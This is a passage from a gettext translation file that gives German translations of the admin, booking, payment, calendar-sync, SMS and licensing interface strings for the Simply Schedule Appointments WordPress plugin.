languages/admin-app-translations.php:1090 msgid "Can this user login and manage their own appointments?" msgstr "Darf sich dieser Benutzer anmelden und seine eigenen Termine verwalten?" #: languages/admin-app-translations.php:1078 msgid "Search team members" msgstr "Teammitglieder suchen" #: languages/admin-app-translations.php:1077 msgid "Clear search text" msgstr "Sucheingabe löschen" #: languages/admin-app-translations.php:1076 msgid "Close and clear search field" msgstr "Suchfeld schließen und löschen" #: languages/admin-app-translations.php:825 msgid "Please enter a valid secret test key" msgstr "Bitte gib einen gültigen geheimen Testschlüssel ein" #: languages/admin-app-translations.php:820 msgid "Please enter a valid publishable test key" msgstr "Bitte gib einen gültigen veröffentlichbaren Testschlüssel ein" #: languages/admin-app-translations.php:811 msgid "Please enter a valid secret key" msgstr "Bitte gib einen gültigen geheimen Schlüssel ein" #: languages/admin-app-translations.php:806 msgid "Please enter a valid publishable key" msgstr "Bitte gib einen gültigen Veröffentlichungsschlüssel ein" #: languages/admin-app-translations.php:506 msgid "SSA Full Screen Page (Default)" msgstr "SSA-Vollbildseite (Standard)" #: languages/admin-app-translations.php:505 msgid "Edit Appointment Page" msgstr "Terminseite bearbeiten" #: languages/admin-app-translations.php:411 msgid "Direct Zoom integration" msgstr "Direkte Zoom-Integration" #: languages/admin-app-translations.php:410 msgid "Google Calendar Sync including Google Meet integration" msgstr "Google Calendar Sync einschließlich Google-Meet-Integration" #: languages/admin-app-translations.php:407 msgid "Upgrade to automatically set a unique web meeting URL for each appointment booking along with these other helpful features:" msgstr "Upgrade, um automatisch eine eindeutige Web-Meeting-URL für jede Terminbuchung festzulegen, zusammen mit diesen weiteren hilfreichen Funktionen:" #: languages/admin-app-translations.php:405 msgid "Easily coordinate web meeting links with everyone in the same group" msgstr "Koordiniere Web-Meeting-Links ganz einfach mit allen Mitgliedern derselben Gruppe" #: languages/admin-app-translations.php:404 msgid "Google Calendar Sync can invite everyone in a group to the same event" msgstr "Google Calendar Sync kann alle Mitglieder einer Gruppe zu demselben Ereignis einladen" #: languages/admin-app-translations.php:401 msgid "Upgrade to allow multiple customers to book appointments for the same time slot! You'll also have the option to group bookings together for classes or treat them independently. You'll also unlock these other helpful features:" msgstr "Upgrade um mehreren Kunden die Möglichkeit zu geben, Termine für dasselbe Zeitfenster zu buchen! Du hast auch die Möglichkeit, Buchungen für Kurse zusammenzufassen oder sie unabhängig voneinander zu behandeln. Du wirst auch diese anderen hilfreichen Funktionen freischalten:" #: languages/admin-app-translations.php:378 msgid "Learn about booking with Gravity Forms" msgstr "Erfahre mehr über das Buchen mit Gravity Forms" #: languages/admin-app-translations.php:377 msgid "Simply Schedule Appointments is also fully compatible with popular Gravity Forms add-ons like User Registration, Webhooks, Zapier, and more!" msgstr "Simply Schedule Appointments ist auch voll kompatibel mit beliebten Gravity Forms Add-ons wie User Registration, Webhooks, Zapier und mehr!" #: languages/admin-app-translations.php:376 msgid "Prepare for Liftoff! Use the Gravity Forms integration to highly customize your booking forms with conditional logic, custom payments, coupon codes, multi-page forms, etc!" msgstr "Bereite dich auf den Abflug vor! Verwende die Gravity-Forms-Integration, um deine Buchungsformulare mit bedingter Logik, benutzerdefinierten Zahlungen, Gutscheincodes, mehrseitigen Formularen usw. in hohem Maße anzupassen!" #: languages/admin-app-translations.php:375 msgid "Gravity Forms Integration Available Now!" msgstr "Gravity-Forms-Integration jetzt verfügbar!" #: languages/admin-app-translations.php:370 msgid "Customize the Google event info" msgstr "Anpassen der Google-Termininformationen" #: languages/admin-app-translations.php:369 msgid "Generate Google Meet Links" msgstr "Erstelle Google-Meet-Links" #: languages/admin-app-translations.php:368 msgid "Automatic Google Invites" msgstr "Automatische Google-Einladungen" #: languages/admin-app-translations.php:367 msgid "Check personal events for conflicts" msgstr "Prüfe persönliche Termine auf Konflikte" #: languages/admin-app-translations.php:364 msgid "Unlock the Google Calendar Integration in the Plus edition to enjoy all of the following features:" msgstr "Schalte die Google-Kalender-Integration in der Plus-Edition frei, um alle folgenden Funktionen zu nutzen:" #: languages/admin-app-translations.php:363 msgid "Balance All Your Schedules with Google Calendar Sync" msgstr "Gleiche alle deine Termine mit Google Calendar Sync ab" #: languages/admin-app-translations.php:358 msgid "Strong Customer Authentication available for FCA compliance" msgstr "Starke Kundenauthentifizierung für FCA-Konformität verfügbar" #: languages/admin-app-translations.php:357 msgid "Available in 20+ currencies including USD, EUR, AUD, and many more!" msgstr "Verfügbar in über 20 Währungen, darunter EUR, CHF, USD und viele mehr!" #: languages/admin-app-translations.php:356 msgid "Mark appointment types with required or optional payments" msgstr "Markiere die Terminarten mit erforderlichen oder optionalen Zahlungen" #: languages/admin-app-translations.php:353 msgid "Automatically take payments during booking with PayPal and Stripe integrations." msgstr "Nimm mit der Integraton von PayPal und Stripe automatisch Zahlungen während der Buchung entgegen." #: languages/admin-app-translations.php:352 msgid "Get Paid for Your Time and Expertise" msgstr "Lasse dir deine Zeit und dein Fachwissen bezahlen" #: languages/admin-app-translations.php:340 msgid "Gravity Perks compatibility including Limit Submissions, Populate Anything, and Preview Submissions" msgstr "Gravity Perks ist insbesondere kompatibel mit Limit Submissions, Populate Anything und Preview Submissions" #: languages/admin-app-translations.php:339 msgid "Robust payment options including varying prices, coupons, and running totals" msgstr "Zuverlässige Zahlungsoptionen mit unterschiedlichen Preisen, Gutscheinen und laufenden Summen" #: languages/admin-app-translations.php:338 msgid "Full compatibility with popular add-ons like User Registration, Webhooks, Zapier, and more" msgstr "Volle Kompatibilität mit gängigen Add-ons wie Benutzerregistrierung, Webhooks, Zapier und mehr" #: languages/admin-app-translations.php:337 msgid "Gravity Forms features like conditional logic, multi-page forms, and file uploads" msgstr "Gravity-Forms-Funktionen wie bedingte Logik, mehrseitige Formulare und Datei-Uploads" #: languages/admin-app-translations.php:334 msgid "Unlock the Gravity Forms Integration in the Plus edition to create highly customized booking forms that include:" msgstr "Schalte die Gravity-Forms-Integration in der Plus-Edition frei, um hochgradig angepasste Buchungsformulare zu erstellen, die folgendes beinhalten:" #: languages/admin-app-translations.php:333 msgid "Create the Ultimate Booking Form with Gravity Forms Integration" msgstr "Erstelle das ultimative Buchungsformular mit der Integration von Gravity Forms" #: languages/admin-app-translations.php:296 msgid "If you need more details, please %1$s read our guide, %2$s complete with screen shots of each step. Or %3$s contact support %4$s for more assistance." msgstr "Wenn du weitere Einzelheiten benötigst, lese bitte %1$s unseren Leitfaden, %2$s vollständig mit Screenshots von jedem Schritt. Oder %3$s kontaktiere den Support %4$s für weitere Hilfe." #: languages/admin-app-translations.php:293 msgid "Create a new notification, set the type to SMS, and configure your settings. %1$s Manage notifications %2$s" msgstr "Erstelle eine neue Benachrichtigung, stelle die Art auf SMS ein und konfiguriere deine Einstellungen. %1$s Benachrichtigungen verwalten %2$s" #: languages/admin-app-translations.php:292 msgid "5. Set up an SMS notification" msgstr "5. Richte eine SMS-Benachrichtigung ein" #: languages/admin-app-translations.php:288 msgid "Edit your appointment types to add a phone number type field to the customer information section. %1$s Edit appointment types %2$s" msgstr "Bearbeite deine Terminarten, um ein Feld vom Typ „Telefonnummer“ in den Kundeninformationsteil einzufügen. %1$s Terminarten bearbeiten %2$s" #: languages/admin-app-translations.php:287 msgid "4. Collect a phone number from your customers" msgstr "4. Erfrage eine Telefonnummer von deinen Kunden" #: languages/admin-app-translations.php:283 msgid "If you want to send SMS reminders to yourself, add your phone number. %1$s Edit general settings %2$s" msgstr "Wenn du SMS-Erinnerungen an dich selbst senden möchtest, so füge deine Telefonnummer hinzu. %1$s Allgemeine Einstellungen bearbeiten %2$s" #: languages/admin-app-translations.php:282 msgid "3. Add an admin phone number" msgstr "3. Füge eine Administrator-Telefonnummer hinzu" #: languages/admin-app-translations.php:278 msgid "Get your %1$s Twilio API key %2$s and credentials. %3$s Edit Twilio settings %4$s" msgstr "Erhalte deinen %1$s Twilio-API-Schlüssel %2$s und deine Anmeldedaten. %3$s Twilio-Einstellungen bearbeiten %4$s" #: languages/admin-app-translations.php:277 msgid "2. Set up your Twilio settings" msgstr "2. Richte deine Twilio-Einstellungen ein" #: languages/admin-app-translations.php:273 msgid "%1$s Turn on the SMS feature %2$s by toggling the feature on" msgstr "%1$s Aktiviere die SMS-Funktion %2$s, indem du die Funktion einschaltest" #: languages/admin-app-translations.php:272 msgid "1. Enable SMS" msgstr "1. Aktiviere SMS" #: languages/admin-app-translations.php:267 msgid "View the instructions" msgstr "Anleitung anzeigen" #: languages/admin-app-translations.php:266 msgid "Get step-by-step instructions on getting set up to send SMS reminders to your customers." msgstr "Hier erhältst du eine schrittweise Anleitung, wie du SMS-Erinnerungen an deine Kunden senden kannst." #: languages/admin-app-translations.php:265 msgid "SMS Reminders Available Now!" msgstr "SMS-Erinnerungen ab sofort verfügbar!" #: languages/admin-app-translations.php:247 msgid "Webhooks allow you to sync appointment data to CRM, newsletter tools, etc." msgstr "Mit Webhooks kannst du Termindaten mit CRM, Newsletter-Tools usw. synchronisieren." #: languages/admin-app-translations.php:245 msgid "SMS Confirmations and Reminders" msgstr "SMS-Bestätigungen und -Erinnerungen" #: languages/admin-app-translations.php:241 msgid "When your entire business revolves around meetings and booking appointments - we've got you covered. You'd be a great fit for our Professional Edition and it’s supercharged features:" msgstr "Wenn sich dein ganzes Geschäft um Besprechungen und die Buchung von Terminen dreht, so bist du bei uns genau richtig. Dann ist unsere Professional Edition mit ihren leistungsstarken Funktionen genau das Richtige für dich:" #: languages/admin-app-translations.php:240 msgid "Woah—looks like you're really getting the hand of this whole scheduling thing. You'd be a great fit for our Professional Edition and it’s supercharged features:" msgstr "Wow – sieht so aus, als hättest du die Sache mit der Terminplanung wirklich im Griff. Dann ist unsere Professional Edition mit ihren leistungsstarken Funktionen genau das Richtige für dich:" #: languages/admin-app-translations.php:233 msgid "Reminders and Follow-up Emails" msgstr "Erinnerungen und Nachfass-E-Mails" #: languages/admin-app-translations.php:232 msgid "Book Classes and Group Appointments" msgstr "Kurse und Gruppentermine buchen" #: languages/admin-app-translations.php:229 msgid "Custom Fields for the Booking Form" msgstr "Benutzerdefinierte Felder für das Buchungsformular" #: languages/admin-app-translations.php:225 msgid "Want to get even more out of your new booking system? Consider upgrading to our Plus Edition and unlock awesome features like:" msgstr "Möchtest du noch mehr aus deinem neuen Buchungssystem herausholen? Überlege dir doch ein Upgrade auf unsere Plus Edition und schalte fantastische Funktionen frei wie:" #: languages/admin-app-translations.php:218 msgid "BONUS - Free Zoom onboarding with our team" msgstr "BONUS - Kostenloses Zoom-Onboarding mit unserem Team" #: languages/admin-app-translations.php:214 msgid "Team Scheduling - Great for employees, contractors, and internal meetings" msgstr "Teamplanung – Ideal für Mitarbeiter, Auftragnehmer und interne Besprechungen" #: languages/admin-app-translations.php:211 msgid "Growing team? Need to book rooms or equipment? No problem, upgrade to our Business edition to take advantage of powerful scheduling features:" msgstr "Wächst dein Team? Du musst Räume oder Ausrüstung buchen? Kein Problem, upgrade auf unsere Business Edition und nutze die leistungsstarken Planungsfunktionen:" #: includes/class-validation.php:62 msgid "Expected English weekday value but received " msgstr "Erwartet einen englischen Wochentagswert, jedoch erhalten " #: includes/class-validation.php:50 msgid "Expected a string value but received " msgstr "Erwartet einen String-Wert, jedoch erhalten " #: includes/class-validation.php:46 msgid "Expected a numeric value but received " msgstr "Erwartet einen numerischen Wert, jedoch erhalten " #: includes/class-upgrade.php:998 msgid "Previously Deleted Appointment Type #" msgstr "Zuvor gelöschte Terminart #" #: includes/class-settings.php:465 msgid "settings are invalid" msgstr "Die Einstellungen sind ungültig" #: includes/class-error-notices.php:344 msgid "Go to Perfmatters Lazyload settings" msgstr "Gehe zu den Perfmatters-Lazyload-Einstellungen" #: includes/class-error-notices.php:342 msgid "Conflict with \"Perfmatters\" plugin: \"Lazy Loading\" setting is currently enabled. This will prevent Simply Schedule Appointments from working as expected. Please add \"ssa_booking_iframe\" into the \"Exclude from Lazy Loading\" field under the Lazy Loading tab." msgstr "Konflikt mit dem Plugin „Perfmatters“: Die Einstellung „Lazy Loading“ ist derzeit aktiviert. Dadurch wird verhindert, dass Simply Schedule Appointments wie erwartet funktioniert. Bitte füge „ssa_booking_iframe“ in das Feld „Exclude from Lazy Loading“ auf dem Tab „Lazy Loading“ ein." #: includes/class-error-notices.php:334 msgid "Go to AIOS settings" msgstr "Gehe zu den AIOS-Einstellungen" #: includes/class-error-notices.php:332 msgid "Conflict with \"All-In-One Security (AIOS)\" plugin: AIOS \"Block Query Strings\" setting is currently enabled. This will prevent Simply Schedule Appointments from working as expected, including users being unable to reschedule their appointments. Please disable this feature in your settings." msgstr "Konflikt mit dem Plugin „All-In-One Security (AIOS)“: Die AIOS-Einstellung „Block Query Strings“ ist derzeit aktiviert. Dies verhindert, dass Simply Schedule Appointments wie erwartet funktioniert, einschließlich der Tatsache, dass Benutzer ihre Termine nicht umplanen können. Bitte deaktiviere diese Funktion in deinen Einstellungen." #: includes/class-error-notices.php:323 msgid "SSA was unable to connect to Google Calendar. Please disconnect and reconnect Google Calendar in the settings and contact support if this error message persists." msgstr "SSA konnte keine Verbindung zu Google Kalendar herstellen. Bitte trenne die Verbindung zu Google Kalender in den Einstellungen und kontaktiere den Support, wenn diese Fehlermeldung weiterhin besteht." #: includes/class-error-notices.php:314 msgid "SSA failed to sync Calendars by staff. Please disconnect and reconnect Google Calendar in the settings and contact support if this error message persists." msgstr "SSA konnte die Kalender der Mitarbeiter nicht synchronisieren. Bitte trenne die Verbindung zu Google Kalender in den Einstellungen und kontaktiere den Support, wenn diese Fehlermeldung weiterhin besteht." #: includes/class-error-notices.php:287 msgid "SSA failed to sync an appointment to Google Calendar. Please disconnect and reconnect Google Calendar in the settings and contact support if this error message persists." msgstr "SSA konnte einen Termin nicht mit Google Kalender synchronisieren. Bitte trenne die Verbindung zu Google Kalender in den Einstellungen und kontaktiere den Support, wenn diese Fehlermeldung weiterhin besteht." #: includes/class-appointment-type-object.php:129 msgid "[Deleted Appointment Type]" msgstr "[Terminart löschen]" #: includes/class-appointment-type-label-model.php:83 msgid "Invalid Label name: '%s'. Label name must be unique." msgstr "Ungültiger Labelname: '%s'. Der Name des Labels muss eindeutig sein." #: booking-app-new/page-appointment-edit.php:13 #: booking-app/page-appointment-edit.php:13 msgid "No appointment found, please check the URL" msgstr "Kein Termin gefunden, bitte prüfe die URL" #: languages/admin-app-translations.php:689 msgid "Events templates are created with Twig. The following tokens are available." msgstr "Termin-Templates werden mit Twig erstellt. Die folgenden Token sind verfügbar." #: languages/admin-app-translations.php:688 msgid "Events Template Details" msgstr "Details der Termin-Templates" #: languages/admin-app-translations.php:679 msgid "Calendar Events" msgstr "Kalender-Termine" #: includes/class-shortcodes.php:558 msgid "The specified appointment type '%1$s' can't be found %2$s (this message only viewable to site administrators)" msgstr "Der angegebene Terminart '%1$s' kann nicht gefunden werden %2$s (diese Nachricht ist nur für Website-Administratoren sichtbar)" #: includes/class-shortcodes.php:556 msgid "Sorry this appointment type isn't available, please check back later" msgstr "Diese Terminart ist leider nicht verfügbar, bitte versuchen Sie es später erneut" #: booking-app-new/iframe-inner.php:80 booking-app/iframe-inner.php:48 #: includes/class-shortcodes.php:523 msgid "The specified appointment type label '%1$s' can't be found, or has no appointment types available %2$s (this message only viewable to site administrators)" msgstr "Das angegebene Terminart-Label '%1$s' kann nicht gefunden werden oder es sind keine Terminarten verfügbar %2$s (diese Nachricht ist nur für Website-Administratoren sichtbar)" #: booking-app-new/iframe-inner.php:78 booking-app/iframe-inner.php:46 #: includes/class-shortcodes.php:521 msgid "Sorry, no appointment types available for this label, please check back later." msgstr "Für dieses Label sind leider keine Terminarten verfügbar, bitte versuchen Sie es später erneut." #: includes/class-shortcodes.php:504 msgid "The specified appointment types '%1$s' can't be found %2$s (this message is only viewable to site administrators)" msgstr "Die angegebenen Terminarten '%1$s' können %2$s nicht gefunden werden (diese Nachricht ist nur für Website-Administratoren sichtbar)" #: includes/class-shortcodes.php:502 msgid "Sorry, no appointment types available, please check back later." msgstr "Leider sind keine Terminarten verfügbar, bitte versuchen Sie es später erneut." #: languages/booking-app-new-translations.php:139 msgid "No available appointments for this date." msgstr "Für dieses Datum sind keine Termine verfügbar." #: languages/booking-app-new-translations.php:135 msgid "Pick a new date" msgstr "Wähle ein neues Datum aus" #: includes/class-upgrade.php:854 includes/class-upgrade.php:876 #: includes/class-upgrade.php:883 languages/admin-app-translations.php:1788 msgid "Default" msgstr "Standard" #: includes/class-support-status.php:576 msgid "<strong>Error: Invalid directory name</strong>. Please rename this plugin's directory to simply-schedule-appointments to avoid errors when updating." msgstr "<strong>Fehler: Ungültiger Verzeichnisname</strong>. Bitte benenne das Verzeichnis dieses Plugins in simply-schedule-appointments um, um Fehler beim Aktualisieren zu vermeiden." #: includes/class-shortcodes.php:433 msgid "An error occurred, please check the URL." msgstr "Es ist ein Fehler aufgetreten, bitte überprüfe die URL." #: includes/class-shortcodes.php:423 msgid "Simply Schedule Appointments Booking Confirmation" msgstr "Simply Schedule Appointments Buchungsbestätigung" #: languages/admin-app-translations.php:1955 msgid "Search" msgstr "Suchen" #: languages/admin-app-translations.php:565 msgid "Your data will be deleted when the plugin is uninstalled and this action cannot be undone" msgstr "Deine Daten werden gelöscht, sobald das Plugin deinstalliert wird. Dieser Vorgang kann nicht rückgängig gemacht werden." #: languages/admin-app-translations.php:564 msgid "Check this box if you would like SSA to completely remove all of its data when the plugin is deleted." msgstr "Aktiviere diese Checkbox, wenn du möchtest, dass SSA alle Daten vollständig entfernt, sobald das Plugin gelöscht wird." #: languages/admin-app-translations.php:563 msgid "Remove data on uninstall" msgstr "Daten bei der Deinstallation entfernen" #: languages/admin-app-translations.php:562 msgid "Plugin Settings" msgstr "Plugin-Einstellungen" #: includes/class-support-status.php:497 msgid "Your license expired on %1$s. <a href=\"%2$s\" target=\"_blank\">Renew your license</a> to enable automatic updates, bug fixes and support." msgstr "Deine Lizenz ist am %1$s abgelaufen. <a href=\"%2$s\" target=\"_blank\">Erneuere deine Lizenz</a> um automatisch Updates, Fehlerbehebungen und Support zu erhalten." #. translators: %s is the URL to the login page. #: includes/class-support-status.php:486 msgid "Your license is disabled. <a href=\"%s\" target=\"_blank\">Purchase</a> a new license key to enable automatic updates and support." msgstr "Deine Lizenz wurde deaktiviert. <a href=\"%s\" target=\"_blank\">Kaufe</a> einen neuen Lizenzschlüssel, um automatische Updates und Support zu erhalten." #: languages/admin-app-translations.php:2154 msgid "Our support hours are 8am-4pm Monday through Friday (Eastern time)" msgstr "Unsere Supportzeiten sind von Montag bis Freitag in der Zeit von 8 bis 16 Uhr (Eastern Time)" #: languages/admin-app-translations.php:2153 msgid "Please check your spam folder if you haven't heard from us by then." msgstr "Bitte überprüfe deinen Spam-Ordner, wenn du bis dahin nichts von uns gehört hast." #: languages/admin-app-translations.php:2152 msgid "You should hear back from us by:" msgstr "Du solltest bis zu diesem Zeitpunkt eine Antwort von uns erhalten:" #: languages/admin-app-translations.php:2151 msgid "Your message was sent!" msgstr "Deine Nachricht wurde versendet!" #: languages/admin-app-translations.php:2112 msgid "Appointment start date" msgstr "Anfangsdatum des Termins" #: languages/admin-app-translations.php:1905 msgid "This appointment has been abandoned on" msgstr "Dieser Termin wurde abgesagt am" #: languages/admin-app-translations.php:1904 msgid "This will be marked abandoned" msgstr "Dies wird als abgesagt markiert" #: languages/admin-app-translations.php:1903 msgid "Waiting for response from" msgstr "Ich warte auf eine Antwort von" #: languages/admin-app-translations.php:1902 msgid "Information not available until form is submitted" msgstr "Informationen erst nach Einreichung des Formulars verfügbar" #: languages/admin-app-translations.php:1901 msgid "This time slot is reserved while the payment is pending" msgstr "Dieses Zeitfenster ist reserviert, solange die Zahlung noch aussteht" #: languages/admin-app-translations.php:1863 msgid " Learn more about appointment status." msgstr " Erfahre mehr über den Terminstatus." #: languages/admin-app-translations.php:1862 msgid "This booking is still waiting on payment confirmation. If the payment fails after manually overriding the pending status, you're responsible for canceling this scheduled time or following up with the user to collect payment." msgstr "Diese Buchung wartet noch auf die Zahlungsbestätigung. Wenn die Zahlung fehlschlägt, nachdem du den Status „ausstehend“ manuell überschrieben hast, bist du dafür verantwortlich, diesen Termin zu stornieren oder sich mit dem Benutzer in Verbindung zu setzen, um die Zahlung einzuziehen." #: languages/admin-app-translations.php:1861 msgid "Book appointment" msgstr "Termin buchen" #: languages/admin-app-translations.php:1859 msgid "Mark this appointment as booked?" msgstr "Diesen Termin als gebucht markieren?" #: languages/admin-app-translations.php:1858 msgid "Abandon appointment" msgstr "Termin absagen" #: languages/admin-app-translations.php:1857 msgid "Abandon this appointment?" msgstr "Diesen Termin absagen?" #: languages/admin-app-translations.php:1829 msgid "Mark as booked" msgstr "Als gebucht markieren" #: languages/admin-app-translations.php:1828 msgid "Mark as abandoned" msgstr "Als abgesagt markieren" #: languages/admin-app-translations.php:742 msgid "Purchase New License Key" msgstr "Erwerbe einen neuen Lizenzschlüssel" #: languages/admin-app-translations.php:741 msgid "Renew Your License Key" msgstr "Erneuere deinen Lizenzschlüssel" #: languages/admin-app-translations.php:82 msgid "License disabled due to refund. Purchase a new license key to enable automatic updates." msgstr "Die Lizenz wurde aufgrund einer Rückerstattung deaktiviert. Erwerbe einen neuen Lizenzschlüssel, um automatische Updates zu aktivieren." #: languages/admin-app-translations.php:81 msgid " Renew your license key to enable automatic updates." msgstr " Erneuere deinen Lizenzschlüssel, um automatische Updates zu aktivieren." #: languages/admin-app-translations.php:80 msgid "License is invalid. Add your license key to enable automatic updates." msgstr "Die Lizenz ist ungültig. Füge deinen Lizenzschlüssel hinzu, um automatische Updates zu aktivieren." #: languages/booking-app-new-translations.php:76 msgid "Or, pick another time" msgstr "Oder wähle eine andere Uhrzeit" #: languages/booking-app-new-translations.php:75 msgid "Confirm Appointment Time" msgstr "Uhrzeit des Termins bestätigen" #: languages/booking-app-new-translations.php:74 msgid "Next available appointment" msgstr "Nächster freier Termin" #: languages/booking-app-new-translations.php:49 msgid "Thank you! Your appointment is booked: " msgstr "Vielen Dank! Dein Termin wurde gebucht: " #: languages/admin-app-translations.php:748 msgid "Or, %1$s contact %2$s our support team and we can help you find your license key." msgstr "Oder %1$s kontaktiere %2$s unser Support-Team und wir helfen dir, deinen Lizenzschlüssel zu finden." #: languages/admin-app-translations.php:747 msgid "%1$s Login %2$s to your account to collect your license key" msgstr "%1$s Melde dich in deinem Konto an %2$s , um deinen Lizenzschlüssel zu erhalten" #: languages/admin-app-translations.php:743 msgid "Need help?" msgstr "Benötigst du Hilfe?" #: languages/admin-app-translations.php:740 msgid "Add your license key" msgstr "Füge deinen Lizenzschlüssel hinzu" #: languages/admin-app-translations.php:535 msgid "Get the next beta (pre-release) version of SSA" msgstr "Hole dir die nächste Beta-Version (Vorabversion) von SSA" #: languages/admin-app-translations.php:259 msgid "Upgrade to Simply Schedule Appointments Pro to send SMS appointment confirmations, reminders, and follow-ups. Send automated SMS messages using the Twilio integration and say goodbye to no-shows!" msgstr "Führe ein Upgrade auf Simply Schedule Appointments Pro durch, um Terminbestätigungen, Erinnerungen und Nachverfolgungen per SMS zu versenden. Sende automatisierte SMS-Nachrichten mit der Twilio-Integration und verabschiede dich von No-Shows!" #: languages/admin-app-translations.php:258 msgid "Send SMS with Simply Schedule Appointments Pro" msgstr "Versende SMS mit Simply Schedule Appointments Pro" #: languages/admin-app-translations.php:79 msgid "License not found. Add your license key to enable automatic updates." msgstr "Lizenz nicht gefunden. Füge deinen Lizenzschlüssel hinzu, um automatische Updates zu aktivieren." #: includes/class-shortcodes.php:743 msgid "No past appointments" msgstr "Keine vergangenen Termine" #: includes/class-dashboard-upcoming-appointments-widget.php:53 msgid "Your Upcoming Appointments" msgstr "Deine anstehenden Termine" #: languages/admin-app-translations.php:2182 msgid "Visit Help Center" msgstr "Hilfe-Center besuchen" #: languages/admin-app-translations.php:1951 msgid "Opted out" msgstr "Abgemeldet" #: languages/admin-app-translations.php:1950 msgid "Opted in" msgstr "Eingetragen" #: languages/admin-app-translations.php:1878 msgid "SMS reminders" msgstr "SMS-Erinnerungen" #: languages/admin-app-translations.php:475 msgid "Refresh language pack" msgstr "Sprachpaket aktualisieren" #: languages/admin-app-translations.php:474 msgid "Remove language pack" msgstr "Sprachpaket entfernen" #: includes/class-wp-admin.php:256 languages/admin-app-translations.php:427 #: languages/admin-app-translations.php:746 msgid "Upgrade" msgstr "Upgrade" #: includes/class-appointment-model.php:843 msgid "An error ocurred, that appointment type was not found." msgstr "Ein Fehler ist aufgetreten, die Terminart konnte nicht gefunden werden." #: includes/class-appointment-model.php:831 msgid "An error ocurred, please choose an appointment type before booking." msgstr "Ein Fehler ist aufgetreten, bitte wähle vor der Buchung eine Terminart aus." #: languages/booking-app-new-translations.php:185 #: languages/booking-app-translations.php:145 msgid "Processing your payment..." msgstr "Deine Zahlung wird verarbeitet ..." #: languages/booking-app-new-translations.php:176 #: languages/booking-app-translations.php:136 msgid "Loading payment method" msgstr "Zahlungsart wird geladen" #: languages/admin-app-translations.php:1816 msgid "Connect Webex" msgstr "Webex verbinden" #: languages/admin-app-translations.php:1815 msgid "Webex account hasn't been connected" msgstr "Webex-Konto wurde nicht verbunden" #: languages/admin-app-translations.php:1709 msgid "Webex Meeting Options" msgstr "Webex-Meeting-Optionen" #: languages/admin-app-translations.php:1708 msgid "Webex - generate a unique meeting URL" msgstr "Webex – Generiere eine eindeutige Meeting-URL" #: languages/admin-app-translations.php:1386 msgid "Verifying your Webex user" msgstr "Verifizieren deines Webex-Benutzers" #: languages/admin-app-translations.php:1385 msgid "Try disconnecting and reconnecting your Webex account." msgstr "Versuche die Verbindung zu deinem Webex-Konto zu trennen und wieder herzustellen." #: languages/admin-app-translations.php:1384 msgid "Unable to get your Webex settings" msgstr "Deine Webex-Einstellungen können nicht abgerufen werden" #: languages/admin-app-translations.php:1383 msgid "Authorize Webex" msgstr "Webex autorisieren" #: languages/admin-app-translations.php:1382 msgid "Your Webex account isn't connected yet." msgstr "Dein Webex-Konto ist noch nicht verbunden." #: languages/admin-app-translations.php:1379 #: languages/admin-app-translations.php:1707 msgid "Webex" msgstr "Webex" #: languages/admin-app-translations.php:938 msgid "The link to add the appointment to your Google Calendar." msgstr "Der Link um den Termin in deinen Google Kalender einzutragen." #: languages/admin-app-translations.php:937 msgid "The link to add the appointment to your calendar via an .ics file." msgstr "Der Link um den Termin mittels einer ICS-Datei in deinen Kalender einzutragen." #: languages/admin-app-translations.php:725 msgid "Sent to the synced calendar selected (and team members) in the Appointment Type’s Google settings tab and can be updated every time a customer books the Group appointment." msgstr "Wird an den synchronisierten Kalender (und die Teammitglieder) gesendet, der bei den Google-Einstellungen der Terminarten ausgewählt wurde, und kann jedes Mal aktualisiert werden, wenn ein Kunde den Gruppentermin bucht." #: languages/admin-app-translations.php:723 msgid "What you and your team members will see on the calendar for group events." msgstr "Was du und deine Teammitglieder im Kalender für Gruppenveranstaltungen sehen werden." #: languages/admin-app-translations.php:704 msgid "Automatically sent to the synced calendar (and team members) in the Appointment Type’s Google settings tab." msgstr "Automatisch an den synchronisierten Kalender (und die Teammitglieder) der Google-Einstellungen in den Terminarten gesendet." #: languages/admin-app-translations.php:702 msgid "What you and your team members will see on the synced calendar." msgstr "Was du und deine Teammitglieder im synchronisierten Kalender sehen werden." #: includes/class-templates.php:174 msgid "[Link to add to calendar will go here...]" msgstr "[Link für Kalendereintrag wird hier eingefügt...]" #: includes/class-templates.php:173 msgid "[Link to save .ics file will go here...]" msgstr "[Link zum Speichern der ICS-Datei wird hier eingefügt...]" #: languages/admin-app-translations.php:2156 msgid "Error details:" msgstr "Fehlerdetails:" #: languages/admin-app-translations.php:2181 msgid "Loading help guides..." msgstr "Hilfestellungen laden ..." #: languages/admin-app-translations.php:2177 msgid "These guides might help you" msgstr "Diese Anleitungen könnten dir weiterhelfen" #: templates/calendar-events/group-admin.php:24 #: templates/calendar-events/group-shared.php:24 msgid "Attendees:" msgstr "Teilnehmende:" #: templates/calendar-events/customer.php:20 #: templates/calendar-events/group-admin.php:20 #: templates/calendar-events/group-shared.php:20 #: templates/calendar-events/individual-admin.php:20 #: templates/calendar-events/individual-shared.php:20 msgid "This event has a web meeting:" msgstr "Für diese Veranstaltung gibt es ein Web-Meeting:" #: languages/admin-app-translations.php:2180 msgid "No help guides found." msgstr "Keine Hilfestellungen gefunden." #: languages/admin-app-translations.php:2179 msgid "Show Less" msgstr "Weniger anzeigen" #: languages/admin-app-translations.php:2178 msgid "Show More" msgstr "Mehr anzeigen" #: languages/admin-app-translations.php:2176 msgid "Help Guides" msgstr "Hilfestellungen" #: languages/admin-app-translations.php:1757 msgid "Price must be greater than 0.50" msgstr "Der Preis muss größer als 0,50 sein" #: languages/admin-app-translations.php:931 msgid "The name of the site where Simply Schedule Appointments is installed" msgstr "Der Name der Website, auf der Simply Schedule Appointments installiert ist" #: languages/admin-app-translations.php:929 msgid "The list of all attendee's names for the appointment." msgstr "Die Namensliste aller Teilnehmenden an dem Termin." #: languages/admin-app-translations.php:926 msgid "The appointment location" msgstr "Der Terminort" #: languages/admin-app-translations.php:730 msgid "This field is required." msgstr "Dieses Feld ist erforderlich." #: languages/admin-app-translations.php:724 msgid "Sent to the synced calendar selected in the Appointment Type’s Google settings tab and can be updated every time a customer books the Group appointment." msgstr "Wird an den synchronisierten Kalender gesendet, der bei den Google-Einstellungen der Terminarten ausgewählt wurde, und kann jedes Mal aktualisiert werden, wenn ein Kunde den Gruppentermin bucht." #: languages/admin-app-translations.php:722 msgid "What you will see on the calendar for group events." msgstr "Was du im Kalender für Gruppenveranstaltungen sehen wirst." #: languages/admin-app-translations.php:721 msgid "Admin Group Event" msgstr "Admin Gruppenveranstaltung" #: languages/admin-app-translations.php:717 msgid "Google Invite sent to the synced calendar in the Appointment Type’s Google settings tab, the Team members assigned to 